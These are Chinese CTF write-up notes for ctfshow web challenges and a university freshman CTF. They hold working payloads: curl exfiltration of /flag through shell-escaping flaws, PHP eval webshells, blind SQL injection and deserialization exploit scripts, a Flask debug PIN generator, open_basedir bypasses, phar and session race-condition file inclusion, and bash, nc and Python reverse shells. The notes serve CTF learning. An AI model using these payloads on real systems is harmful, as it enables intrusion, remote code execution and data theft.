688

俩函数一起用有的问题

escapeshellarg(); escapeshellcmd();

1
payload:?url=http://监听使用的ip:port/' -F file=@/flag'

实际传入shell的是

1
curl 'http://IP:端口/'\\'' -F file=@/flag'\\'''

直接带出文件

689

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];

}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}

这里在path位置没有过滤,也就是说不管我们在path位置写入什么都会原封不动的返回,所以此时我们让docker访问自己,在path处传入木马即可

1
http://f784bf7a-ace9-414a-bbfd-cfd348cefd95.challenge.ctf.show/?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%3C?php%20eval($_POST[1]);?%3E&path=b.php

690

1
2
3
4
5
6
7
8
9
10
<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}

exec('./ ' . implode(" ", $args));

传入的命令中只能有字母和数字,执行命令可用换行绕过,问题是我们要如何构造命令来执行,首先因为没有回显,所以直接执行是行不通的,那可以尝试写一个文件,构造一个服务器返回内容为一句话木马的脚本

1
2


构造如下命令

1
2
3
mkdir a
cd a
wget 10进制服务器IP

此时a文件夹下就有一个index.html内容为一句话木马,但是我们还没办法执行,此时我们利用tar来将文件类型进行更改

1
tar cvf shell a

将a文件夹打包成一个shell文件就可以执行了

691

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>

order by盲注,贴个链接,原理就是通过password位置的字符串的比较导致回显中username的内容不同来判断结果,直接写脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
flagstr="-01234567890abcdefghiostw{}---"
url="http://9446af78-f5bd-4d30-94b4-05dc5eb8f887.challenge.ctf.show/"
flag=""
for i in range(0,100):
for j in range(1,len(flagstr)):
tmp=flag+flagstr[j]
data={'username':f"'or 1 union select 1,2,'{tmp}' order by 3#","password":"1"}
tex=requests.post(url=url,data=data).text
if "</code>admin" in tex:
print(flag+flagstr[j-1])
flag=flag+flagstr[j-1]
break

692

看一下preg_replace函数的用法

preg_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_replace — 执行一个正则表达式的搜索和替换

说明

1
2
3
4
5
6
7
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

1
replacement

用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。如果 patternreplacement 都是数组,每个 pattern 使用 replacement中对应的元素进行替换。如果 replacement 中的元素比 pattern 中的少,多出来的 pattern 使用空字符串进行替换。

replacement 中可以包含后向引用 \\n$n,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。 n 可以是0-99,\\0$0 代表完整的模式匹配文本。捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。如果要在 replacement 中使用反斜线,必须使用 4 个("\\\\",译注:因为这首先是 PHP 的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。

此处如果将replacement中内容放入\\0那么就会直接匹配前面pattern中的结果

preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
比如初始的字符串为
$option=’123’;
如果执行
preg_replace(“$option=’.*’;”,”\x00”,$a)
那么返回的结果是
$option=’$option=’123’;’;
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=’;phpinfo();//‘。
如果我们第二次传option=%00
那么最终的结果是$option=’$option=’;phpinfo();//‘’
这样就逃出了单引号,phpinfo()也就执行成功
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/122998220

693

extract函数加远程文件包含

1
?function=extract&file=http://45.15.131.101/

694

构造X-Forwarded-For请求头为文件名,file为.即可直接写入到请求头所构造的文件名中

1
/var/www/html/a.php/.

695

Java入门

JAVA

Hello World!

1
2
3
4
5
public class Main {
public static void main(String[] args) {
System.out.println("Hello world!");
}
}

数据类型

1

CTFshowCMS

477

cmseasy 5.7,百度搜搜漏洞,有后台getshell

首先/admin登录后台,admin:admin直接登录,在模版—自定义标签中写入payload

1
1111111111111";}<?php phpinfo();?>

环境变量里面找吧

478

phpcms 9.6.0

479

CUMT2022迎新

小学生数学题

脚本

1
2
3
4
5
6
7
8
9
10
import re
import requests
url="http://1.117.23.177:5000/flag?calc="
tex=requests.get(url).text
su1=re.findall(r"<h3>num1=\d+</h3>",tex)
su2=re.findall(r"<h3>num2=\d+</h3>",tex)
num1=su1[0][9:-5]
num2=su2[0][9:-5]
num=abs(int(num2)-int(num1))
print(requests.get(url+str(num)).text)

真·ezmysql

SQLMAP炸库

nc

如题

CumtShop

买四次次东西再抢劫一次,你的钱就变负数啦,去买flag吧

Caesar

凯撒位移3位

Find d

如图

贝司

base64

套!

那是真的套啊

新与佛论禅->Ook->BrainFuck

Lu1u 学长的秘密

hint很明显了,盲水印,但是我这本地有问题,跑了三遍都跑不出来,那寄咯

后面就是没做出来的咯

Ezpop

听我说谢谢你,庞学长

首先是一个小知识,在进行类内函数调用的时候可以这么调用

1
2
3
4
5
6
7
8
<?php
class test{
function eval(){
var_dump(1);
}
}
array(new test(),"eval")();
?>

也就是在一个数组中[0]指向一个对象,[1]指向一个对象中的函数名,再将这个数组当作函数进行,这样的话这题就简单很多了(做不出来很大一部分原因就是不知道怎么去调用隔壁类中的函数)

上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
include "pass.php";
highlight_file(__FILE__);
class user{
public $username;
public $auth;
function __wakeup(){
die("都说了出来打CTF要有Trick~");
}
function __destruct(){
if($this->auth==true){
$username=$this->username;
echo "hello ,".$username();
}
else{
die("en... maybe you can try again");
}
}
}

class fw{
public $nousefuldefw;
public $flagg=false;
public $b3;

function __invoke(){
$this->nousefuldefw=$_POST["WhatIsFw"];
if($this->flagg==false){
die("ok,you haved enter,but just this???");
}
echo $this->b3->Goodgoodyouare; //c::__get
}
}

class helper{
public $help="wantpeach";

function __get($a){
$help=$this->help;
$help("I can help you get flag");
}
}

class controller{
public $passwd;
public $cmd;

function __wakeup(){
if(isset($_REQUEST["passwd"])){
global $passwd;
$this->passwd=$passwd;
}
else{
die("enter password first");
}
}

function eval(...$argv){
if($argv==null){
die("are you kidding me???");
}
global $passwd;
if($passwd==$this->passwd){
printf("execute Your command:`".$this->cmd)."`";
eval($this->cmd);
}
else{
echo "Nonono you password is wrong so your command `".$this->cmd."` can't execute!!";
}
}
}
@unserialize($_REQUEST["data"]);
@var_dump($_REQUEST["data"]);

反序列化链子还是比较明显的

1
user::__destruct->fw::__invoke->helper::__get->controller::eval

构造用的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//exp.php
<?php
class user
{
public $username;
public $anth=true;
}
class fw
{
public $nousefuldefw="random";
public $flagg = true;
public $b3;
}
class helper
{
public $help;
}
class controller
{
public $passwd="jlan";
public $cmd="phpinfo();";
}
$a=new user;
$a->username=new fw;
$a->username->b3=new helper;
$a->username->b3->help=array(new controller,"eval");
echo serialize($a);

问题解决

CTFshow常用姿势

801

flask计算PIN

什么是PIN码

PIN码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

注意事项:谨记!!python 3.8(md5)和3.6(sha1)pin码生成方式不同

使用条件:flask debug模式开启 存在任意文件读取

首先是python PIN码的生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
#读取文件进行拼接
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
#继续进行拼接,这里处理一下只要/docker后的东西
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg

try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: t.Union[str, bytes]
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid
except OSError:
pass

return None

_machine_id = _generate()
return _machine_id


class _ConsoleFrame:
"""Helper class so that we can reuse the frame console code for the
standalone console.
"""

def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0


def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

由上可以看得出PIN值生成所需要获取的数据有

  • username,用户名
  • modname,默认值为flask.app
  • appname,默认值为Flask
  • moddir,flask库下app.py的绝对路径
  • uuidnode,当前网络的mac地址的十进制数
  • machine_id,docker机器id或本机id

首先是用户名

可用的似乎只有root

下面三项任意报错即可获得

mac地址

Machine_id

本机生成脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

使用最终生成的PIN进入代码调试,RCE

802

无字母数字命令执行

异或法,偷个脚本喵喵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

803

phar文件包含

来自大佬的提示:把phar当压缩包用就行

首先生成包含一句话木马的phar文件

1
2
3
4
5
6
7
8
<?php
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
$phar->addFromString('test.txt', '<?php system($_POST[a]);?>'); //
$phar->stopBuffering();
// phar生成
?>

此时phar包中的test.txt中的内容就是我们的一句话木马了

上传文件(记得读取然后url编码一下)

1
payload:?file=/tmp/phar.phar&content=%3C%3Fphp+__HALT_COMPILER%28%29%3B+%3F%3E%0D%0A6%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%08%00%00%00test.txt%1A%00%00%00%7E%E7%9Db%1A%00%00%00%C8%C2%DA%2C%A4%01%00%00%00%00%00%00%3C%3Fphp+system%28%24_POST%5Ba%5D%29%3B%3F%3E%FB%C1%FC%A84J%19%C8f%97%29%BA%C7%80v%82%F5%86J%06%02%00%00%00GBMB

include干

![截屏2022-06-06 20.00.48](/Users/jlan/Library/Application Support/typora-user-images/截屏2022-06-06 20.00.48.png)

804

phar反序列化

这不用教吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class hacker{
public $code;
}

// @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
// $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ); //压缩规避敏感字符
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new hacker();
$o->code="highlight_file('flag.php');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成

?>

上传phar协议读取就行

805

open_basedir绕过

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

注意:用open_basedir指定的限制实际上是前缀,而不是目录名

文章来自这里

但是这个配置对系统命令执行是没有效果的,比如执行system('ls /')的时候就不受限制,但是一般都会被ban掉

下面就是一些bypass方法

  1. glob协议,只能捞捞文件名

    1
    2
    3
    4
    5
    6
    7
    $a = "glob:///*";
    if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
    echo $file."\n";
    }
    closedir($b);
    }
  2. 利用chdir()与ini_set()组合Bypass

    原理在这里

    1
    2
    3
    4
    5
    6
    7
    8
    9
    mkdir("s");
    chdir('s');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');
    echo file_get_contents("/ctfshowflag");
  3. 利用bindtextdomain()函数Bypass

    这个方法也只能捞捞文件名

    bindtextdomain()函数

    (PHP 4, PHP 5, PHP 7)

    bindtextdomain()函数用于绑定domain到某个目录的函数。

    1
    bindtextdomain ( string $domain , string $directory ) : string

    bindtextdomain()函数的第二个参数$directory是一个文件路径,它会在$directory存在的时候返回$directory,不存在则返回false。

    我们就可以通过修改directory参数根据返回值来判断文件是否存在

  4. 利用SplFileInfo::getRealPath()类方法Bypass

    这个和上面那个很相似,也是基于报错,直接给payload吧

    1
    2
    3
    4
    5
    <?php
    echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';
    $info = new SplFileInfo($_GET['dir']);
    var_dump($info->getRealPath());
    ?>
  5. 利用realpath()函数Bypass

    realpath()函数

    (PHP 4, PHP 5, PHP 7)

    realpath — 返回规范化的绝对路径名。它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

    函数定义如下:

    1
    realpath ( string $path ) : string

    Bypass

    环境条件:Windows

    基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    ini_set('open_basedir', dirname(__FILE__));
    printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
    set_error_handler('isexists');
    $dir = 'E:/wamp64/';
    $file = '';
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
    for ($i=0; $i < strlen($chars); $i++) {
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
    }
    function isexists($errno, $errstr)
    {
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
    printf("%s <br/>", $matches[1]);
    }
    }
    ?>

    可以看到,首字母不同的文件就被列出来了,首字母相同的文件中只列了第一个:

最后是大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);

$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}

function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}

include远程文件后传参file即可

806

php无参RCE

首先是一篇可供参考的文章

利用方式有以下几种

  1. 利用session_id

    php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ‘,所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去,bin2hex('payload');来转换16禁止,在使用时通过eval(hex2bin(session_id(session_start())));,在加上请求头中Cookie中的PHPSESSID=16进制payload执行

  2. 利用get_defined_vars ()函数

    get_defined_vars():返回由所有已定义变量所组成的数组

    可供利用的函数

    1
    2
    3
    4
    5
    end() - 将内部指针指向数组中的最后一个元素,并输出。
    next() - 将内部指针指向数组中的下一个元素,并输出。
    prev() - 将内部指针指向数组中的上一个元素,并输出。
    reset() - 将内部指针指向数组中的第一个元素,并输出。
    each() - 返回当前元素的键名和键值,并将内部指针向前移动。

    可以看到在已定义的变量中存在着全局变量GET和POST,我们可以通过传入参数来实现RCE

    1
    payload:?a=eval(end(current(get_defined_vars())));&b=phpinfo();
  3. 文件读取

    可供利用的函数

    1
    2
    3
    4
    5
    6
    7
    var_dump()  打印所有内容
    print_r() 同上
    scandir() 扫描路径内文件名并返回一个迭代器
    localeconv()
    getcwd() 获得当前工作目录
    getallheaders() 获得请求头内容

807

反弹shell

本地监听端口,记住要有公网IP,也可以使用frp内网穿透

  1. 公网服务器

    监听命令

    1
    2
    3
    4
    5
    攻击端
    nc -lvp 监听的端口
    受害端
    bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1
    nc 攻击端IP 攻击端监听端口 -t /bin/bash

    利用wget下载执行

    1
    wget 攻击端IP/shell.txt -O /tmp/shell.php && php /tmp/shell.php

    python脚本反弹

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/usr/bin/python
    #-*- coding: utf-8 -*-
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("攻击端IP",攻击端监听端口)) #更改localhost为⾃⼰的外⽹ip,端⼝任意
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

808

卡临时文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'echo 11123;system("cat /*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)

if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()

纯纯看运气

809

pear文件包含/RCE

文章在此

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

